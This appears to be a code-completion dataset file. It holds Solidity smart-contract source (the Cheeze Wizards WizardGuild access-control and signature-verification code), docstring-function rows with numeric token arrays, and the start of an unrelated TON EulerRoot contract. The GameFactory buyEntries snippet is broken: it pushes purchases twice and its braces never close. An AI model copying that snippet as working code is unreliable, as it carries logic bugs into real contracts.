/// status" (as granted by ERC-721's setApprovalForAll() functionality). Doing so is
/// considered an extreme edge case that can be worked around where necessary.
/// @param wizardId The Wizard ID whose control is in question
/// @param hash The message hash we are authenticating against
/// @param sig the signature data; can be longer than 65 bytes for ERC-1654
function verifySignature(uint256 wizardId, bytes32 hash, bytes calldata sig) external view;
/// @notice Convienence function that verifies signatures for two wizards using equivalent logic to
/// verifySignature(). Included to save on cross-contract calls in the common case where we
/// are verifying the signatures of two Wizards who wish to enter into a Duel.
/// @param wizardId1 The first Wizard ID whose control is in question
/// @param wizardId2 The second Wizard ID whose control is in question
/// @param hash1 The message hash we are authenticating against for the first Wizard
/// @param hash2 The message hash we are authenticating against for the first Wizard
/// @param sig1 the signature data corresponding to the first Wizard; can be longer than 65 bytes for ERC-1654
/// @param sig2 the signature data corresponding to the second Wizard; can be longer than 65 bytes for ERC-1654
function verifySignatures(
uint256 wizardId1,
uint256 wizardId2,
bytes32 hash1,
bytes32 hash2,
bytes calldata sig1,
bytes calldata sig2) external view;
}
/// @title Contract that manages addresses and access modifiers for certain operations.
/// @author Dapper Labs Inc. (https://www.dapperlabs.com)
contract AccessControl {
/// @dev The address of the master administrator account that has the power to
/// update itself and all of the other administrator addresses.
/// The CEO account is not expected to be used regularly, and is intended to
/// be stored offline (i.e. a hardware device kept in a safe).
address public ceoAddress;
/// @dev The address of the "day-to-day" operator of various priviledged
/// functions inside the smart contract. Although the CEO has the power
/// to replace the COO, the CEO address doesn't actually have the power
/// to do "COO-only" operations. This is to discourage the regular use
/// of the CEO account.
address public cooAddress;
/// @dev The address that is allowed to move money around. Kept seperate from
/// the COO because the COO address typically lives on an internet-connected
/// computer.
address payable public cfoAddress;
// Events to indicate when access control role addresses are updated.
event CEOTransferred(address previousCeo, address newCeo);
event COOTransferred(address previousCoo, address newCoo);
event CFOTransferred(address previousCfo, address newCfo);
/// @dev The AccessControl constructor sets the `ceoAddress` to the sender account. Also
/// initializes the COO and CFO to the passed values (CFO is optional and can be address(0)).
/// @param newCooAddress The initial COO address to set
/// @param newCfoAddress The initial CFO to set (optional)
constructor(address newCooAddress, address payable newCfoAddress) public {
_setCeo(msg.sender);
setCoo(newCooAddress);
if (newCfoAddress != address(0)) {
setCfo(newCfoAddress);
}
}
/// @notice Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress, "Only CEO");
_;
}
/// @notice Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress, "Only COO");
_;
}
/// @notice Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress, "Only CFO");
_;
}
function checkControlAddress(address newController) internal view {
require(newController != address(0), "Zero access control address");
require(newController != ceoAddress, "CEO address cannot be reused");
}
/// @notice Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param newCeo The address of the new CEO
function setCeo(address newCeo) external onlyCEO {
checkControlAddress(newCeo);
_setCeo(newCeo);
}
/// @dev An internal utility function that updates the CEO variable and emits the
/// transfer event. Used from both the public setCeo function and the constructor.
function _setCeo(address newCeo) private {
emit CEOTransferred(ceoAddress, newCeo);
ceoAddress = newCeo;
}
/// @notice Assigns a new address to act as the COO. Only available to the current CEO.
/// @param newCoo The address of the new COO
function setCoo(address newCoo) public onlyCEO {
checkControlAddress(newCoo);
emit COOTransferred(cooAddress, newCoo);
cooAddress = newCoo;
}
/// @notice Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param newCfo The address of the new CFO
function setCfo(address payable newCfo) public onlyCEO {
checkControlAddress(newCfo);
emit CFOTransferred(cfoAddress, newCfo);
cfoAddress = newCfo;
}
}
/// @title Signature utility library
library SigTools {
/// @notice Splits a signature into r & s values, and v (the verification value).
/// @dev Note: This does not verify the version, but does require signature length = 65
/// @param signature the packed signature to be split
function _splitSignature(bytes memory signature) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
// Check signature length
require(signature.length == 65, "Invalid signature length");
// We need to unpack the signature, which is given as an array of 65 bytes (like eth.sign)
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := and(mload(add(signature, 65)), 255)
}
if (v < 27) {
v += 27; // Ethereum versions are 27 or 28 as opposed to 0 or 1 which is submitted by some signing libs
}
// check for valid version
// removed for now, done in another function
//require((v == 27 || v == 28), "Invalid signature version");
return (r, s, v);
}
}
contract ERC1654 {
/// @dev bytes4(keccak256("isValidSignature(bytes32,bytes)")
bytes4 public constant ERC1654_VALIDSIGNATURE = 0x1626ba7e;
/// @dev Should return whether the signature provided is valid for the provided data
/// @param hash 32-byte hash of the data that is signed
/// @param _signature Signature byte array associated with _data
/// MUST return the bytes4 magic value 0x1626ba7e when function passes.
/// MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
/// MUST allow external calls
function isValidSignature(
bytes32 hash,
bytes calldata _signature)
external
view
returns (bytes4);
}
/// @title The master organization behind all Cheeze Wizardry. The source of all them Wiz.
contract WizardGuild is AccessControl, WizardNFT, WizardGuildInterface, ERC165Query {
/// @notice Emitted when a new Series is opened or closed.
event SeriesOpen(uint64 seriesIndex, uint256 reservedIds);
event SeriesClose(uint64 seriesIndex);
/// @notice Emitted when metadata is associated with a Wizard
event MetadataSet(uint256 indexed wizardId, bytes32 metadata);
/// @notice The index of the current Series (zero-based). When no Series is open, this value
/// indicates the index of the _upcoming_ Series. (i.e. it is incremented when the
/// Series is closed. This makes it easier to bootstrap the first Series.)
uint64 internal seriesIndex;
/// @notice The address which is allowed to mint new Wizards in the current Series. When this
/// is set to address(0), there is no open Series.
address internal seriesMinter;
/// @notice The index number of the next Wizard to be created (Neutral or Elemental).
/// NOTE: There is a subtle distinction between a Wizard "ID" and a Wizard "index".
/// We use the term "ID" to refer to a value that includes the Series number in the
/// top 64 bits, while the term "index" refers to the Wizard number _within_ its
/// Series. This is especially confusing when talking about Wizards in the first
/// Series (Series 0), because the two values are identical in that case!
///
/// |---------------|--------------------------|
/// | Wizard ID (256 bits) |
/// |---------------|--------------------------|
/// | Series Index | Wizard Index |
/// | (64 bits) | (192 bits) |
/// |---------------|--------------------------|
uint256 internal nextWizardIndex;
// NOTE: uint256(-1) maps to a value with all bits set, both the << and >> operators will fill
// in with zeros when acting on an unsigned value. So, "uint256(-1) << 192" resovles to "a bunch
/// of ones, followed by 192 zeros"
uint256 internal constant seriesOffset = 192;
uint256 internal constant seriesMask = uint256(-1) << seriesOffset;
uint256 internal constant indexMask = uint256(-1) >> 64;
// The ERC1654 function selector value
bytes4 internal constant ERC1654_VALIDSIGNATURE = 0x1626ba7e;
/// @notice The Guild constructor.
/// @param _cooAddress The COO has the ability to create new Series and to update
/// the metadata on the currently open Series (if any). It has no other special
/// abilities, and (in particular), ALL Wizards in a closed series can never be
/// modified or deleted. If the CEO and COO values are ever set to invalid addresses
/// (such as address(1)), then no new Series can ever be created, either.
constructor(address _cooAddress) public AccessControl(_cooAddress, address(0)) {
}
/// @notice Require that a Tournament Series is currently open. For example closing
/// a Series does not make sense if none is open.
/// @dev While in other contracts we use separate checking functions to avoid having the same
/// string inlined in multiple places, given this modifier is scarcely used it doesn't seem
/// worth the per-call gas cost here.
modifier duringSeries() {
require(seriesMinter != address(0), "No series is currently open");
_;
}
/// @notice Require that the caller is the minter of the current series. This implicitely
/// requires that a Series is open, or the minter address would be invalid (can never
/// be matched).
/// @dev While in other contracts we use separate checking functions to avoid having the same
/// string inlined in multiple places, given this modifier is scarcely used it doesn't seem
/// worth the per-call gas cost here.
modifier onlyMinter() {
require(msg.sender == seriesMinter, "Only callable by minter");
_;
}
/// @notice Open a new Series of Cheeze Wizards! Can only be called by the COO when no Series is open.
/// @param minter The address which is allowed to mint Wizards in this series. This contract does not
/// assume that the minter is a smart contract, but it will presumably be in the vast majority
/// of the cases. A minter has absolute control over the creation of new Wizards in an open
/// Series, but CAN NOT manipulate a Series after it has been close, and CAN NOT mainpulate
/// any Wizards that don't belong to its own Series. (Even if the same minting address is used
/// for multiple Series, the Minter only has power over the currently open Series.)
/// @param reservedIds The number of IDs (from 1 to reservedIds, inclusive) that are reserved for minting
/// reserved Wizards. (We use the term "reserved" here, instead of Exclusive, because there
/// are times -- such as during the importation of the PreSale -- when we need to reserve a
/// block of IDs for Wizards that aren't what a user would think of as "exclusive". In Series
/// 0, the reserved IDs will include all Exclusive Wizards and Presale Wizards. In other Series
/// it might also be the case that the set of "reserved IDs" doesn't exactly match the set of
/// "exclusive" IDs.)
function openSeries(address minter, uint256 reservedIds) external onlyCOO returns (uint64 seriesId) {
require(seriesMinter == address(0), "A series is already open");
require(minter != address(0), "Minter address cannot be 0");
// NOTE: The seriesIndex is updated when the Series is _closed_, not when it's opened.
// (The first Series is Series #0.) So in this function, we just leave the seriesIndex alone.
seriesMinter = minter;
nextWizardIndex = reservedIds + 1;
emit SeriesOpen(seriesIndex, reservedIds);
return seriesIndex;
}
/// @notice Closes the current Wizard Series. Once a Series has been closed, it is forever sealed and
/// no more Wizards in that Series can ever be minted! Can only be called by the COO when a Series
/// is open.
///
/// NOTE: A series can be closed by the COO or the Minter. (It's assumed that some minters will
/// know when they are done, and others will need to be shut off manually by the COO.)
function closeSeries() external duringSeries {
require(
msg.sender == seriesMinter || msg.sender == cooAddress,
"Only Minter or COO can close a Series");
seriesMinter = address(0);
emit SeriesClose(seriesIndex);
// Set up the next series.
seriesIndex += 1;
nextWizardIndex = 0;
}
/// @notice ERC-165 Query Function.
function supportsInterface(bytes4 interfaceId) public view returns (bool) {
return interfaceId == _INTERFACE_ID_WIZARDGUILD || super.supportsInterface(interfaceId);
}
/// @notice Returns the information associated with the given Wizard
/// owner - The address that owns this Wizard
/// innatePower - The innate power level of this Wizard, set when minted and entirely
/// immutable
/// affinity - The Elemental Affinity of this Wizard. For most Wizards, this is set
/// when they are minted, but some exclusive Wizards are minted with an affinity
/// of 0 (ELEMENT_NOTSET). A Wizard with an NOTSET affinity should NOT be able
/// to participate in Tournaments. Once the affinity of a Wizard is set to a non-zero
/// value, it can never be changed again.
/// metadata - A 256-bit hash of the Wizard's metadata, which is stored off chain. This
/// contract doesn't specify format of this hash, nor the off-chain storage mechanism
/// but, let's be honest, it's probably an IPFS SHA-256 hash.
///
/// NOTE: Series zero Wizards have one of four Affinities: Neutral (1), Fire (2), Water (3)
/// or Air (4, sometimes called "Wind" in the code). Future Wizard Series may have
/// additional Affinities, and clients of this API should be prepared for that
/// eventuality.
function getWizard(uint256 id) public view returns (address owner, uint88 innatePower, uint8 affinity, bytes32 metadata) {
Wizard memory wizard = wizardsById[id];
require(wizard.owner != address(0), "Wizard does not exist");
(owner, innatePower, affinity, metadata) = (wizard.owner, wizard.innatePower, wizard.affinity, wizard.metadata);
}
/// @notice A function to be called that conjures a whole bunch of Wizards at once! You know how
/// there's "a pride of lions", "a murder of crows", and "a parliament of owls"? Well, with this
/// here function you can conjure yourself "a stench of Cheeze Wizards"!
///
/// Unsurprisingly, this method can only be called by the registered minter for a Series.
/// @dev This function DOES NOT CALL onERC721Received() as required by the ERC-721 standard. It is
/// REQUIRED that the Minter calls onERC721Received() after calling this function. The following
/// code snippet should suffice:
/// // Ensure the Wizard is being assigned to an ERC-721 aware address (either an external address,
/// // or a smart contract that implements onERC721Received()). We must call onERC721Recieved for
/// // each token created because it's allowed for an ERC-721 receiving contract to reject the
/// // transfer based on the properties of the token.
/// if (isContract(owner)) {
/// for (uint256 i = 0; i < wizardIds.length; i++) {
/// bytes4 retval = IERC721Receiver(owner).onERC721Received(owner, address(0), wizardIds[i], "");
/// require(retval == _ERC721_RECEIVED, "Contract owner didn't accept ERC721 transfer");
/// }
/// }
/// Although it would be convenient for mintWizards to call onERC721Recieved, it opens us up to potential
/// reentrancy attacks if the Minter needs to do more state updates after mintWizards() returns.
/// @param powers the power level of each wizard
/// @param affinities the Elements of the wizards to create
/// @param owner the address that will own the newly created Wizards
function mintWizards(
uint88[] calldata powers,
uint8[] calldata affinities,
address owner
) external onlyMinter returns (uint256[] memory wizardIds)
{
require(affinities.length == powers.length, "Inconsistent parameter lengths");
// allocate result array
wizardIds = new uint256[](affinities.length);
// We take this storage variables, and turn it into a local variable for the course
// of this loop to save about 5k gas per wizard.
uint256 tempWizardId = (uint256(seriesIndex) << seriesOffset) + nextWizardIndex;
for (uint256 i = 0; i < affinities.length; i++) {
wizardIds[i] = tempWizardId;
tempWizardId++;
_createWizard(wizardIds[i], owner, powers[i], affinities[i]);
}
nextWizardIndex = tempWizardId & indexMask;
}
/// @notice A function to be called that mints a Series of Wizards in the reserved ID range, can only
/// be called by the Minter for this Series.
/// @dev This function DOES NOT CALL onERC721Received() as required by the ERC-721 standard. It is
/// REQUIRED that the Minter calls onERC721Received() after calling this function. See the note
/// above on mintWizards() for more info.
/// @param wizardIds the ID values to use for each Wizard, must be in the reserved range of the current Series.
/// @param powers the power level of each Wizard.
/// @param affinities the Elements of the Wizards to create.
/// @param owner the address that will own the newly created Wizards.
function mintReservedWizards(
uint256[] calldata wizardIds,
uint88[] calldata powers,
uint8[] calldata affinities,
address owner
)
external onlyMinter
{
require(
wizardIds.length == affinities.length &&
wizardIds.length == powers.length, "Inconsistent parameter lengths");
for (uint256 i = 0; i < wizardIds.length; i++) {
uint256 currentId = wizardIds[i];
require((currentId & seriesMask) == (uint256(seriesIndex) << seriesOffset), "Wizards not in current series");
// Ideally, we would compare the requested Wizard index against the reserved range directly. However,
// it's a bit wasteful to spend storage on a reserved range variable when we can combine some known
// true facts instead:
// - nextWizardIndex is initialized to reservedRange + 1 when the Series was opend
// - nextWizardIndex is only incremented when a new Wizard is created
// - therefore, the only empty Wizard IDs less than nextWizardIndex are in the reserved range.
// - _conjureWizard() will abort if we try to reuse an ID.
// Combining all of the above, we know that, if the requested index is less than the next index, it
// either points to a reserved slot or an occupied slot. Trying to reuse an occupied slot will fail,
// so just checking against nextWizardIndex is sufficient to ensure we're pointing at a reserved slot.
require((currentId & indexMask) < nextWizardIndex, "Wizards not in reserved range");
_createWizard(currentId, owner, powers[i], affinities[i]);
}
}
/// @notice Sets the metadata values for a list of Wizards. The metadata for a Wizard can only be set once,
/// can only be set by the COO or Minter, and can only be set while the Series is still open. Once
/// a Series is closed, the metadata is locked forever!
/// @param wizardIds the ID values of the Wizards to apply metadata changes to.
/// @param metadata the raw metadata values for each Wizard. This contract does not define how metadata
/// should be interpreted, but it is likely to be a 256-bit hash of a complete metadata package
/// accessible via IPFS or similar.
function setMetadata(uint256[] calldata wizardIds, bytes32[] calldata metadata) external duringSeries {
require(msg.sender == seriesMinter || msg.sender == cooAddress, "Only Minter or COO can set metadata");
require(wizardIds.length == metadata.length, "Inconsistent parameter lengths");
for (uint256 i = 0; i < wizardIds.length; i++) {
uint256 currentId = wizardIds[i];
bytes32 currentMetadata = metadata[i];
require((currentId & seriesMask) == (uint256(seriesIndex) << seriesOffset), "Wizards not in current series");
require(wizardsById[currentId].metadata == bytes32(0), "Metadata already set");
require(currentMetadata != bytes32(0), "Invalid metadata");
wizardsById[currentId].metadata = currentMetadata;
emit MetadataSet(currentId, currentMetadata);
}
}
/// @notice Sets the affinity for a Wizard that doesn't already have its elemental affinity chosen.
/// Only usable for Exclusive Wizards (all non-Exclusives must have their affinity chosen when
/// conjured.) Even Exclusives can't change their affinity once it's been chosen.
///
/// NOTE: This function can only be called by the Series minter, and (therefore) only while the
/// Series is open. A Wizard that has no affinity when a Series is closed will NEVER have an Affinity.
/// @param wizardId The ID of the Wizard to update affinity of.
/// @param newAffinity The new affinity of the Wizard.
function setAffinity(uint256 wizardId, uint8 newAffinity) external onlyMinter {
require((wizardId & seriesMask) == (uint256(seriesIndex) << seriesOffset), "Wizard not in current series");
Wizard storage wizard = wizardsById[wizardId];
require(wizard.affinity == ELEMENT_NOTSET, "Affinity can only be chosen once");
// set the affinity
wizard.affinity = newAffinity;
// Tell the world this wizards now has an affinity!
emit WizardAffinityAssigned(wizardId, newAffinity);
}
/// @notice Returns true if the given "spender" address is allowed to manipulate the given token
/// (either because it is the owner of that token, has been given approval to manage that token)
function isApprovedOrOwner(address spender, uint256 tokenId) public view returns (bool) {
return _isApprovedOrOwner(spender, tokenId);
}
/// @notice Verifies that a given signature represents authority to control the given Wizard ID,
/// reverting otherwise. It handles three cases:
/// - The simplest case: The signature was signed with the private key associated with
/// an external address that is the owner of this Wizard.
/// - The signature was generated with the private key associated with an external address
/// that is "approved" for working with this Wizard ID. (See the Wizard Guild and/or
/// the ERC-721 spec for more information on "approval".)
/// - The owner or approval address (as in cases one or two) is a smart contract
/// that conforms to ERC-1654, and accepts the given signature as being valid
/// using its own internal logic.
///
/// NOTE: This function DOES NOT accept a signature created by an address that was given "operator
/// status" (as granted by ERC-721's setApprovalForAll() functionality). Doing so is
/// considered an extreme edge case that can be worked around where necessary.
/// @param wizardId The Wizard ID whose control is in question
/// @param hash The message hash we are authenticating against
/// @param sig the signature data; can be longer than 65 bytes for ERC-1654
function verifySignature(uint256 wizardId, bytes32 hash, bytes memory sig) public view {
// First see if the signature belongs to the owner (the most common case)
address owner = ownerOf(wizardId);
if (_validSignatureForAddress(owner, hash, sig)) {
return;
}
// Next check if the signature belongs to the approved address
address approved = getApproved(wizardId);
if (_validSignatureForAddress(approved, hash, sig)) {
return;
}
revert("Invalid signature");
}
/// @notice Convienence function that verifies signatures for two wizards using equivalent logic to
/// verifySignature(). Included to save on cross-contract calls in the common case where we
/// are verifying the signatures of two Wizards who wish to enter into a Duel.
/// @param wizardId1 The first Wizard ID whose control is in question
/// @param wizardId2 The second Wizard ID whose control is in question
/// @param hash1 The message hash we are authenticating against for the first Wizard
/// @param hash2 The message hash we are authenticating against for the first Wizard
/// @param sig1 the signature data corresponding to the first Wizard; can be longer than 65 bytes for ERC-1654
/// @param sig2 the signature data corresponding to the second Wizard; can be longer than 65 bytes for ERC-1654
function verifySignatures(
uint256 wizardId1,
uint256 wizardId2,
bytes32 hash1,
bytes32 hash2,
bytes calldata sig1,
bytes calldata sig2) external view
{
verifySignature(wizardId1, hash1, sig1);
verifySignature(wizardId2, hash2, sig2);
}
/// @notice An internal function that checks if a given signature is a valid signature for a
/// specific address on a particular hash value. Checks for ERC-1654 compatibilty
/// first (where the possibleSigner is a smart contract that implements its own
/// signature validation), and falls back to ecrecover() otherwise.
function _validSignatureForAddress(address possibleSigner, bytes32 hash, bytes memory signature)
internal view returns(bool)
{
if (possibleSigner == address(0)) {
// The most basic Bozo check: The zero address can never be a valid signer!
return false;
} else if (Address.isContract(possibleSigner)) {
// If the address is a contract, it either implements ERC-1654 (and will validate the signature
// itself), or we have no way of confirming that this signature matches this address. In other words,
// if this address is a contract, there's no point in "falling back" to ecrecover().
if (doesContractImplementInterface(possibleSigner, ERC1654_VALIDSIGNATURE)) {
// cast to ERC1654
ERC1654 tso = ERC1654(possibleSigner);
bytes4 result = tso.isValidSignature(hash, signature);
if (result == ERC1654_VALIDSIGNATURE) {
return true;
}
}
return false;
} else {
// Not a contract, check for a match against an external address
(bytes32 r, bytes32 s, uint8 v) = SigTools._splitSignature(signature);
address signer = ecrecover(hash, v, r, s);
// Note: Signer could be address(0) here, but we already checked that possibleSigner isn't zero
return (signer == possibleSigner);
}
}
}
| @notice Gets the owner of the specified Wizard @param wizardId ID of the Wizard to query the owner of @return address currently marked as the owner of the given Wizard | function ownerOf(uint256 wizardId) public view returns (address) {
address owner = wizardsById[wizardId].owner;
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
| 2,503,798 | [
1,
3002,
326,
3410,
434,
326,
1269,
678,
13412,
225,
24204,
548,
1599,
434,
326,
678,
13412,
358,
843,
326,
3410,
434,
327,
1758,
4551,
9350,
487,
326,
3410,
434,
326,
864,
678,
13412,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3410,
951,
12,
11890,
5034,
24204,
548,
13,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
1758,
3410,
273,
24204,
87,
5132,
63,
31837,
548,
8009,
8443,
31,
203,
3639,
2583,
12,
8443,
480,
1758,
12,
20,
3631,
315,
654,
39,
27,
5340,
30,
3410,
843,
364,
1661,
19041,
1147,
8863,
203,
3639,
327,
3410,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11155111/0xdbB6d1acdfd7A803401F377149a8C5a82c684F1f/sources/contracts/GameFactory.sol | uint256 _entryPrice = games[_gameId].entryPrice;require(msg.value >= _entryPrice, "Please send funds for the correct entry price");require(games[_gameId].status == Status.Open, "Game is not currently open"); | function buyEntries(uint256 _gameId, uint256 _numEntries) public payable {
require(!factoryPaused, "Game Factory is currently paused. Come back later");
require(msg.sender != games[_gameId].owner, "You own the Game. You can not enter");
bool matchingTierFlag = false;
for(uint i = 0; i < 5; i++) {
if(games[_gameId].prices[i].number == _numEntries && games[_gameId].prices[i].price == msg.value) {
matchingTierFlag = true;
}
}
require(matchingTierFlag, "That is not a valid purchase");
Purchase memory purchase = Purchase({
id: nextPurchaseId,
upperBound: nextEntryId + (_numEntries - 1),
owner: msg.sender,
parentGameId: _gameId,
amountSpent: msg.value,
numEntries: _numEntries
});
User memory user = users[msg.sender];
if(!user.hasValue) {
user.wallet = msg.sender;
user.hasValue = true;
users[msg.sender].purchaseList.push(purchase.id);
users[msg.sender].purchaseList.push(purchase.id);
}
if(!hasEnteredGame[msg.sender][_gameId]) {
hasEnteredGame[msg.sender][_gameId] = true;
games[_gameId].uniqueEntrants++;
}
purchases[purchase.id] = purchase;
games[_gameId].purchaseList.push(purchase.id);
games[_gameId].nextEntryId += _numEntries;
nextPurchaseId += 1;
| 3,798,153 | [
1,
11890,
5034,
389,
4099,
5147,
273,
28422,
63,
67,
13957,
548,
8009,
4099,
5147,
31,
6528,
12,
3576,
18,
1132,
1545,
389,
4099,
5147,
16,
315,
8496,
1366,
284,
19156,
364,
326,
3434,
1241,
6205,
8863,
6528,
12,
75,
753,
63,
67,
13957,
548,
8009,
2327,
422,
2685,
18,
3678,
16,
315,
12496,
353,
486,
4551,
1696,
8863,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
30143,
5400,
12,
11890,
5034,
389,
13957,
548,
16,
2254,
5034,
389,
2107,
5400,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
5,
6848,
28590,
16,
315,
12496,
7822,
353,
4551,
17781,
18,
1286,
73,
1473,
5137,
8863,
203,
3639,
2583,
12,
3576,
18,
15330,
480,
28422,
63,
67,
13957,
548,
8009,
8443,
16,
315,
6225,
4953,
326,
14121,
18,
4554,
848,
486,
6103,
8863,
203,
203,
3639,
1426,
3607,
15671,
4678,
273,
629,
31,
203,
3639,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
1381,
31,
277,
27245,
288,
203,
5411,
309,
12,
75,
753,
63,
67,
13957,
548,
8009,
683,
1242,
63,
77,
8009,
2696,
422,
389,
2107,
5400,
597,
28422,
63,
67,
13957,
548,
8009,
683,
1242,
63,
77,
8009,
8694,
422,
1234,
18,
1132,
13,
288,
203,
7734,
3607,
15671,
4678,
273,
638,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
2583,
12,
16271,
15671,
4678,
16,
315,
18163,
353,
486,
279,
923,
23701,
8863,
203,
3639,
26552,
3778,
23701,
273,
26552,
12590,
203,
5411,
612,
30,
1024,
23164,
548,
16,
203,
5411,
21663,
30,
1024,
1622,
548,
397,
261,
67,
2107,
5400,
300,
404,
3631,
203,
5411,
3410,
30,
1234,
18,
15330,
16,
203,
5411,
982,
12496,
548,
30,
389,
13957,
548,
16,
203,
5411,
3844,
3389,
319,
30,
1234,
18,
1132,
16,
203,
5411,
818,
5400,
30,
389,
2107,
5400,
203,
3639,
15549,
203,
203,
3639,
2177,
3778,
729,
273,
3677,
63,
3576,
18,
15330,
15533,
203,
3639,
309,
12,
5,
1355,
18,
2
] |
/*
Implementation of contract EulerRoot
*/
pragma ton-solidity >= 0.32.0;
pragma AbiHeader expire;
pragma AbiHeader pubkey;
import "./IEulerRoot.sol";
import "EulerProblem.sol";
import "EulerUser.sol";
import "RecoverablePubkey.sol.gen";
contract EulerRoot is IEulerRoot, RecoverablePubkey {
uint64 constant EXN_AUTH_FAILED = 100 ;
uint64 constant EXN_NOT_ENOUGH_VALUE = 101 ;
/// @dev This event is emitted everytime a user solves a problem
event ProblemSolved( uint32 problem, uint256 pubkey );
// The owner of this contract, who can create new EulerProblem
// contracts
uint256 g_owner ;
// The code of EulerProblem contracts
TvmCell g_problem_code ;
// The code of EulerUser contracts
TvmCell g_user_code ;
/// @dev The user must only provide the codes of EulerProblem and
/// EulerUser contracts
constructor( TvmCell problem_code, TvmCell user_code ) public {
require( msg.pubkey() == tvm.pubkey(), EXN_AUTH_FAILED );
require( address(this).balance >= 2 ton, EXN_NOT_ENOUGH_VALUE );
tvm.accept();
g_owner = msg.pubkey() ;
g_problem_code = problem_code ;
g_user_code = user_code ;
}
/// @dev Deploys a EulerProblem contract for a new Euler problem. Only the
/// owner of the EulerRoot can call this function.
/// @param problem The number of the problem
/// @param verifkey The Groth16 verification key of the problem
/// @param zip_provkey A compressed version of the Groth16 proving key
/// of the problem, used to create a submission locally
/// @param nonce The nonce that the user must provide with his submission
/// @param title The title of the problem
/// @param description The description of the problem
/// @param url The link to the problem official description
function new_problem( uint32 problem,
